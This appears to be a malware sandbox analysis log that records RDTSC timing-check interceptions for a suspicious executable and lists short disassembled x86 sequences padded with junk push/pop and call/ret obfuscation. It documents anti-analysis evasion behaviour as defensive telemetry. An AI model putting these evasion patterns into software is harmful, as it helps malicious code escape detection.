Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1109FC2 second address: 1109FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jno 00007F34C0CE384Ch 0x0000000f pushad 0x00000010 jnc 00007F34C0CE3846h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1109FEB second address: 1109FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110A103 second address: 110A115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F34C0CE384Eh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110A115 second address: 110A119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110A209 second address: 110A236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 add dword ptr [ebp+122D1AABh], ecx 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D366Bh] 0x00000017 jmp 00007F34C0CE384Bh 0x0000001c push B0F002E2h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110A236 second address: 110A23C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110A454 second address: 110A458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110A458 second address: 110A45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110A45E second address: 110A498 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F34C0CE384Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 28CACB1Bh 0x00000014 xor edi, 446AA438h 0x0000001a lea ebx, dword ptr [ebp+1244EF20h] 0x00000020 xor di, 772Ah 0x00000025 push edx 0x00000026 mov cx, 1872h 0x0000002a pop edx 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push ecx 0x00000030 pop ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110A498 second address: 110A49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1127CA6 second address: 1127CAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11280CE second address: 11280D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11286D2 second address: 1128707 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F34C0CE3846h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c push ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F34C0CE3859h 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 ja 00007F34C0CE3875h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1128707 second address: 112870D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 112870D second address: 1128711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1128711 second address: 112872C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11292B5 second address: 11292DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C0CE3853h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F34C0CE384Bh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11292DA second address: 11292DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 112F119 second address: 112F13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F34C0CE3846h 0x0000000a popad 0x0000000b pop esi 0x0000000c jng 00007F34C0CE3862h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F34C0CE384Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 112F13C second address: 112F142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 10FAD3A second address: 10FAD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 10FAD3E second address: 10FAD55 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F34C04FCDCCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1131797 second address: 11317E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F34C0CE3858h 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push esi 0x00000013 jmp 00007F34C0CE3857h 0x00000018 pop esi 0x00000019 pushad 0x0000001a jmp 00007F34C0CE3851h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11341C2 second address: 11341E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F34C04FCDD9h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11344AB second address: 11344B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1134937 second address: 1134954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jo 00007F34C04FCDC6h 0x0000000c pop ecx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F34C04FCDCBh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1136D6C second address: 1136D72 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1136D72 second address: 1136D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1136E4B second address: 1136E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1137353 second address: 1137357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1137357 second address: 113735D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1137416 second address: 1137434 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F34C04FCDD6h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11378E8 second address: 11378EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11378EF second address: 11378F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11378F5 second address: 113791E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F34C0CE3852h 0x0000000e nop 0x0000000f xor dword ptr [ebp+122D2C61h], eax 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113791E second address: 1137924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1137924 second address: 1137928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1137928 second address: 1137950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F34C04FCDCCh 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1137950 second address: 113795A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F34C0CE3846h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113795A second address: 113795E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1137E58 second address: 1137ED5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F34C0CE3846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F34C0CE3848h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D2ADAh] 0x0000002c mov si, di 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007F34C0CE3848h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b mov dword ptr [ebp+122D2AC6h], edi 0x00000051 push 00000000h 0x00000053 je 00007F34C0CE3850h 0x00000059 jbe 00007F34C0CE384Ah 0x0000005f mov di, CE86h 0x00000063 xchg eax, ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F34C0CE384Eh 0x0000006b rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1137ED5 second address: 1137EEC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F34C04FCDCCh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113A316 second address: 113A320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113A320 second address: 113A326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113A326 second address: 113A3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 sbb edi, 7B782A00h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F34C0CE3848h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 jmp 00007F34C0CE3855h 0x0000002e mov dword ptr [ebp+122D20D4h], ecx 0x00000034 sub esi, dword ptr [ebp+122D3517h] 0x0000003a push 00000000h 0x0000003c mov edi, 14832DFEh 0x00000041 pushad 0x00000042 jmp 00007F34C0CE384Fh 0x00000047 push ebx 0x00000048 pop ebx 0x00000049 popad 0x0000004a xchg eax, ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e jmp 00007F34C0CE384Fh 0x00000053 push ecx 0x00000054 pop ecx 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113A3A5 second address: 113A3AF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F34C04FCDCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113A3AF second address: 113A3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jg 00007F34C0CE3846h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113AD5B second address: 113AD5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1140D69 second address: 1140D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1140D70 second address: 1140D75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1140D75 second address: 1140DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F34C0CE384Eh 0x0000000f nop 0x00000010 push ecx 0x00000011 pop edi 0x00000012 or ebx, 72E92690h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F34C0CE3848h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov ebx, 2F32FCF7h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e call 00007F34C0CE3848h 0x00000043 pop eax 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 add dword ptr [esp+04h], 00000016h 0x00000050 inc eax 0x00000051 push eax 0x00000052 ret 0x00000053 pop eax 0x00000054 ret 0x00000055 xchg eax, esi 0x00000056 push edi 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1141EA6 second address: 1141EB0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F34C04FCDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1141EB0 second address: 1141EC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 je 00007F34C0CE3846h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1141EC5 second address: 1141ECB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1141ECB second address: 1141F19 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F34C0CE384Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d mov ebx, esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F34C0CE3848h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push esi 0x0000002c mov bx, 3E2Fh 0x00000030 pop edi 0x00000031 jng 00007F34C0CE3849h 0x00000037 sbb bl, 00000027h 0x0000003a xchg eax, esi 0x0000003b push esi 0x0000003c jc 00007F34C0CE384Ch 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1142E47 second address: 1142E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F34C04FCDD0h 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F34C04FCDC6h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1142E68 second address: 1142E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1144D38 second address: 1144D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 jmp 00007F34C04FCDCBh 0x0000000e pop edi 0x0000000f nop 0x00000010 mov edi, dword ptr [ebp+122D366Bh] 0x00000016 push 00000000h 0x00000018 mov edi, 32FC1915h 0x0000001d push 00000000h 0x0000001f mov ebx, dword ptr [ebp+122D377Bh] 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1144D69 second address: 1144D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1145DB1 second address: 1145E05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+122D1EB4h], ebx 0x00000010 mov dword ptr [ebp+12449DE2h], ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F34C04FCDC8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 stc 0x00000035 movsx ebx, cx 0x00000038 xchg eax, esi 0x00000039 jmp 00007F34C04FCDD4h 0x0000003e push eax 0x0000003f push ecx 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1146C96 second address: 1146CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F34C0CE3846h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1147CBA second address: 1147CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1149C96 second address: 1149C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114CC2E second address: 114CC32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113C18E second address: 113C1B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3854h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jc 00007F34C0CE384Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1152EC1 second address: 1152EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113D796 second address: 113D79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 113D79C second address: 113D7A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1144EC0 second address: 1144ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F34C0CE384Ah 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1149E02 second address: 1149E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1149E08 second address: 1149E36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F34C0CE3854h 0x00000010 jmp 00007F34C0CE384Bh 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1149E36 second address: 1149E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1149E3C second address: 1149EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D1D13h], esi 0x0000000d mov bl, ah 0x0000000f push dword ptr fs:[00000000h] 0x00000016 sub dword ptr [ebp+1244BAD1h], ecx 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 add dword ptr [ebp+122D1E67h], eax 0x00000029 mov edi, dword ptr [ebp+122D1AFDh] 0x0000002f mov eax, dword ptr [ebp+122D0871h] 0x00000035 clc 0x00000036 push FFFFFFFFh 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F34C0CE3848h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 xor dword ptr [ebp+122D1A22h], edi 0x00000058 mov di, dx 0x0000005b nop 0x0000005c jl 00007F34C0CE384Ah 0x00000062 push eax 0x00000063 pushad 0x00000064 popad 0x00000065 pop eax 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push edi 0x0000006a pushad 0x0000006b popad 0x0000006c pop edi 0x0000006d rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1149EAC second address: 1149EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F34C04FCDD2h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114AD4D second address: 114AD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
